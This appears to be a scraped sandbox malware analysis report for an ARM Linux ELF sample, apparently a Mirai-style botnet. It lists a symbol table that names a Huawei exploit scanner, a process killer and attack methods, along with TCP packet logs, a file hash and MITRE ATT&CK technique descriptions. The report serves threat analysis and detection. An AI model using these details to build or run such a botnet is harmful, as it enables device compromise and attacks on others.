bsd_signal	.symtab	0x18198	196	FUNC	<unknown>	DEFAULT	2
calloc	.symtab	0x18c78	320	FUNC	<unknown>	DEFAULT	2
calloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum_generic	.symtab	0x10d5c	80	FUNC	<unknown>	DEFAULT	2
checksum_tcpudp	.symtab	0x10dac	164	FUNC	<unknown>	DEFAULT	2
clock	.symtab	0x179d8	52	FUNC	<unknown>	DEFAULT	2
clock.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
close	.symtab	0x1aee0	100	FUNC	<unknown>	DEFAULT	2
closedir	.symtab	0x1757c	272	FUNC	<unknown>	DEFAULT	2
closedir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
completed.5105	.symtab	0x292bc	1	OBJECT	<unknown>	DEFAULT	14
conn_table	.symtab	0x2be98	4	OBJECT	<unknown>	DEFAULT	14
connect	.symtab	0x17c5c	116	FUNC	<unknown>	DEFAULT	2
connect.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
dl-support.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
ensure_single_instance	.symtab	0x12598	356	FUNC	<unknown>	DEFAULT	2
environ	.symtab	0x29924	4	OBJECT	<unknown>	DEFAULT	14
errno	.symtab	0x0	4	TLS	<unknown>	DEFAULT	8
errno.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
exit	.symtab	0x19fb8	196	FUNC	<unknown>	DEFAULT	2
exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fake_time	.symtab	0x29364	4	OBJECT	<unknown>	DEFAULT	14
fclose	.symtab	0x1c394	816	FUNC	<unknown>	DEFAULT	2
fclose.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fcntl	.symtab	0x170d4	244	FUNC	<unknown>	DEFAULT	2
fd_ctrl	.symtab	0x290b8	4	OBJECT	<unknown>	DEFAULT	13
fd_serv	.symtab	0x290bc	4	OBJECT	<unknown>	DEFAULT	13
fd_to_DIR	.symtab	0x1768c	208	FUNC	<unknown>	DEFAULT	2
fdopendir	.symtab	0x17820	176	FUNC	<unknown>	DEFAULT	2
fflush_unlocked	.symtab	0x1d268	940	FUNC	<unknown>	DEFAULT	2
fflush_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc	.symtab	0x1cd58	324	FUNC	<unknown>	DEFAULT	2
fgetc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc_unlocked	.symtab	0x1d614	300	FUNC	<unknown>	DEFAULT	2
fgetc_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets	.symtab	0x1ce9c	284	FUNC	<unknown>	DEFAULT	2
fgets.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets_unlocked	.symtab	0x1d740	160	FUNC	<unknown>	DEFAULT	2
fgets_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fopen	.symtab	0x1c6c4	32	FUNC	<unknown>	DEFAULT	2
fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fork	.symtab	0x1a7ec	972	FUNC	<unknown>	DEFAULT	2
fork.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fork_handler_pool	.symtab	0x293dc	1348	OBJECT	<unknown>	DEFAULT	14
frame_dummy	.symtab	0x8134	0	FUNC	<unknown>	DEFAULT	2
free	.symtab	0x193dc	572	FUNC	<unknown>	DEFAULT	2
free.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fstat	.symtab	0x1b9c8	100	FUNC	<unknown>	DEFAULT	2
fstat.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
get_eit_entry	.symtab	0x1ebc8	544	FUNC	<unknown>	DEFAULT	2
getc	.symtab	0x1cd58	324	FUNC	<unknown>	DEFAULT	2
getc_unlocked	.symtab	0x1d614	300	FUNC	<unknown>	DEFAULT	2
getdents.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getdents64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getdtablesize	.symtab	0x1bacc	44	FUNC	<unknown>	DEFAULT	2
getdtablesize.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getegid	.symtab	0x1baf8	20	FUNC	<unknown>	DEFAULT	2
getegid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
geteuid	.symtab	0x1bb0c	20	FUNC	<unknown>	DEFAULT	2
geteuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getgid	.symtab	0x1bb20	20	FUNC	<unknown>	DEFAULT	2
getgid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getpagesize	.symtab	0x1bb34	40	FUNC	<unknown>	DEFAULT	2
getpagesize.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getpid	.symtab	0x1ac50	72	FUNC	<unknown>	DEFAULT	2
getpid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getppid	.symtab	0x171c8	20	FUNC	<unknown>	DEFAULT	2
getppid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getrlimit	.symtab	0x1bb5c	56	FUNC	<unknown>	DEFAULT	2
getrlimit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getsockname	.symtab	0x17cd0	68	FUNC	<unknown>	DEFAULT	2
getsockname.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getsockopt	.symtab	0x17d14	72	FUNC	<unknown>	DEFAULT	2
getsockopt.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gettimeofday	.symtab	0x1bb94	64	FUNC	<unknown>	DEFAULT	2
gettimeofday.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getuid	.symtab	0x1bbd4	20	FUNC	<unknown>	DEFAULT	2
getuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
h_errno	.symtab	0x4	4	TLS	<unknown>	DEFAULT	8
huawei.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
huawei_fake_time	.symtab	0x29310	4	OBJECT	<unknown>	DEFAULT	14
huawei_init	.symtab	0x10f4c	2788	FUNC	<unknown>	DEFAULT	2
huawei_kill	.symtab	0x10e50	40	FUNC	<unknown>	DEFAULT	2
huawei_rsck	.symtab	0x292e4	4	OBJECT	<unknown>	DEFAULT	14
huawei_scanner_pid	.symtab	0x292e0	4	OBJECT	<unknown>	DEFAULT	14
huawei_scanner_rawpkt	.symtab	0x292e8	40	OBJECT	<unknown>	DEFAULT	14
huawei_setup_connection	.symtab	0x10e78	212	FUNC	<unknown>	DEFAULT	2
index	.symtab	0x1dcf0	240	FUNC	<unknown>	DEFAULT	2
inet_addr	.symtab	0x17af4	40	FUNC	<unknown>	DEFAULT	2
inet_aton	.symtab	0x1e04c	248	FUNC	<unknown>	DEFAULT	2
inet_aton.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
inet_makeaddr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
init_static_tls	.symtab	0x1e144	120	FUNC	<unknown>	DEFAULT	2
initfini.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
initfini.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
initstate	.symtab	0x198f4	192	FUNC	<unknown>	DEFAULT	2
initstate_r	.symtab	0x19bc0	248	FUNC	<unknown>	DEFAULT	2
ioctl	.symtab	0x171dc	224	FUNC	<unknown>	DEFAULT	2
ioctl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
isatty	.symtab	0x1dfac	36	FUNC	<unknown>	DEFAULT	2
isatty.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
kill	.symtab	0x172bc	56	FUNC	<unknown>	DEFAULT	2
kill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
killer.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
killer_init	.symtab	0x11fec	1428	FUNC	<unknown>	DEFAULT	2
killer_kill	.symtab	0x11a30	40	FUNC	<unknown>	DEFAULT	2
killer_kill_by_port	.symtab	0x11a58	1428	FUNC	<unknown>	DEFAULT	2
killer_pid	.symtab	0x2bea0	4	OBJECT	<unknown>	DEFAULT	14
killer_realpath	.symtab	0x2be9c	4	OBJECT	<unknown>	DEFAULT	14
killer_realpath_len	.symtab	0x29314	4	OBJECT	<unknown>	DEFAULT	14
libc-cancellation.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc-lowlevellock.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc-tls.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc_multiple_threads.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
listen	.symtab	0x17d5c	64	FUNC	<unknown>	DEFAULT	2
listen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
llseek.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
local_bind.4881	.symtab	0x290c4	1	OBJECT	<unknown>	DEFAULT	13
lseek64	.symtab	0x1e92c	112	FUNC	<unknown>	DEFAULT	2
main	.symtab	0x12834	2020	FUNC	<unknown>	DEFAULT	2
main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
malloc	.symtab	0x18340	2360	FUNC	<unknown>	DEFAULT	2
malloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
malloc_trim	.symtab	0x19618	64	FUNC	<unknown>	DEFAULT	2
memcpy	.symtab	0x17a10	4	FUNC	<unknown>	DEFAULT	2
memmove	.symtab	0x17a20	4	FUNC	<unknown>	DEFAULT	2
mempcpy	.symtab	0x1e8c8	36	FUNC	<unknown>	DEFAULT	2
mempcpy.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
memset	.symtab	0x17a30	156	FUNC	<unknown>	DEFAULT	2
methods	.symtab	0x292dc	4	OBJECT	<unknown>	DEFAULT	14
methods_len	.symtab	0x292d8	1	OBJECT	<unknown>	DEFAULT	14
mmap	.symtab	0x1b7bc	124	FUNC	<unknown>	DEFAULT	2
mmap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mremap	.symtab	0x1bbe8	68	FUNC	<unknown>	DEFAULT	2
mremap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
munmap	.symtab	0x1bc2c	64	FUNC	<unknown>	DEFAULT	2

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:07:37.877933979 CET	43928	443	192.168.2.23	91.189.91.42
Jan 10, 2025 21:07:58.354954004 CET	42516	80	192.168.2.23	109.202.202.202
Jan 10, 2025 21:07:58.354957104 CET	43928	443	192.168.2.23	91.189.91.42
Jan 10, 2025 21:08:39.309257030 CET	43928	443	192.168.2.23	91.189.91.42

System Behavior

Analysis Process: UnHAnaAW.arm7.elf PID: 6414, Parent PID: 6207

General

Start time (UTC):	20:07:39
Start date (UTC):	10/01/2025
Path:	/tmp/UnHAnaAW.arm7.elf
Arguments:	/tmp/UnHAnaAW.arm7.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report UnHAnaAW.arm7.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Symbols

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: UnHAnaAW.arm7.elf PID: 6414, Parent PID: 6207

General

Chronological Activities

Linux Analysis Report
UnHAnaAW.arm7.elf